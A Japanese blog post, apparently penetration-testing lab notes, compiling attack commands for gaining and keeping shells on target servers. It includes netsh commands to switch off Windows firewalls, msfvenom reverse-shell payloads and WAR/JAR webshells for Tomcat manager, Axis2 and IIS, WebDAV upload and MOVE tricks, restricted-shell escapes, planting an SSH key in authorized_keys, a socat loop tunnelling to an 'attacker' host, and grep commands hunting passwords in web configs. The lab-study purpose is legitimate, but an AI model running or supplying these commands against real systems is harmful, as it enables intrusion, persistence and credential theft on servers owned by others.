FirewallによってOutboundが許可されず、コマンドは実行できるがリバースシェルが得られない場合、
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
でFirewallの設定を無効にする。
他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz
tomcat manager reverse shell
- manual
tomcat managerにログインできたときに以下のjspファイルを作成し、
github.com
$ mkdir webshell $ cp index.jsp webshell $ cd webshell $ jar -cvf ../webshell.war *
でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル。
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com
axis2 reverse shell
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
axis2にログインできている場合、上記でペイロードを作成。
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にgenerate_payload.py
に書かれているservices.xml
を追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
Microsoft IIS reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
netcat
でリッスンする場合はStagelessを採用。curl -T shell-venom-less.txt http://10.11.1.1/upload/
asp
ファイルを直接Uploadできない場合は、TXTファイルをMOVE
でASPファイルに書き換える。curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
これで、URLにアクセスするとシェルが得られる。bypass protected page
IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: f
ヘッダーを追加したり、%c0%af
をURLの文字列に加えることで保護されているページにアクセスできるようになる。
blog.skullsecurity.orguse exploit/windows/iis/iis_webdav_upload_asp
Metasploitでも同じことが可能。/usr/share/webshells/asp/cmdasp.asp
KaliにASPのWebshellが存在するが、なんか実行できなかった。
Shell Upgrade
python -c 'import pty; pty.spawn("/bin/sh")'
現在の擬似シェルから抜け出し、ptyシェルにアップグレードecho os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
echo $SHELL
で現在使っているシェルを確認
https://netsec.ws/?p=337に詳しくのっている。
参考:完全なTTYシェルの取得
orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com
Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog
Bypass restricted shell
- vi上で
:!/bin/sh
,:set shell=/bin/sh
,:shell
scp -F /etc/passwd x y:
その他、less
,more
コマンドなど
rbash上ではls
,cd
,/を含むコマンド
,export PATH=/usr/bin:$PATH
などができない。ビルトインコマンド(execなど)を試す
export -p
pwd
- シェルに接続する時に
-t "bash --noprofile"
を付与すると、制限付きシェルを回避できるかもしれない。
SSHを介してコマンドが実行できるということ - OS(Kernel)特有のバグで回避できるかもしれない
help
help
コマンドはビルトインなので実行できるSSH shellでログイン
Kali@ssh-keygen -P "" -f vulnerable
Target@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK
Kali@ssh 192.168.56.26 -l www-data -i vulnerable
参考(詳細)
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org
Socatを用いたTCPリダイレクト
Kali@ssh-keygen -P "" -f vulnerable
でSSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするためTarget@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK。Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
そして、最後にKaliで新たなTerminalを作成して、そこでKali@ssh localhost -p 2222 -l www-data -i vulnerable
とすれば以下のように使いやすいシェルが降ってくる。
さらに、代わりにKali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
とすることで、このシェルがつながった後、シェル上でTarget@mysql -h localhost -u root -P 13306
とすることで以下のような良いMysqlシェルが立ち上がる。
クレデンシャル情報の探索
find . -type f -name "*.php" | xargs grep "username" | grep "password"
grep -r "config" . | grep "password"
locate settings.php
などで探す。/var/www/以下にあるファイルに対して行う。settings
,config
などの名前のことが多い。
2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com
最後
なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!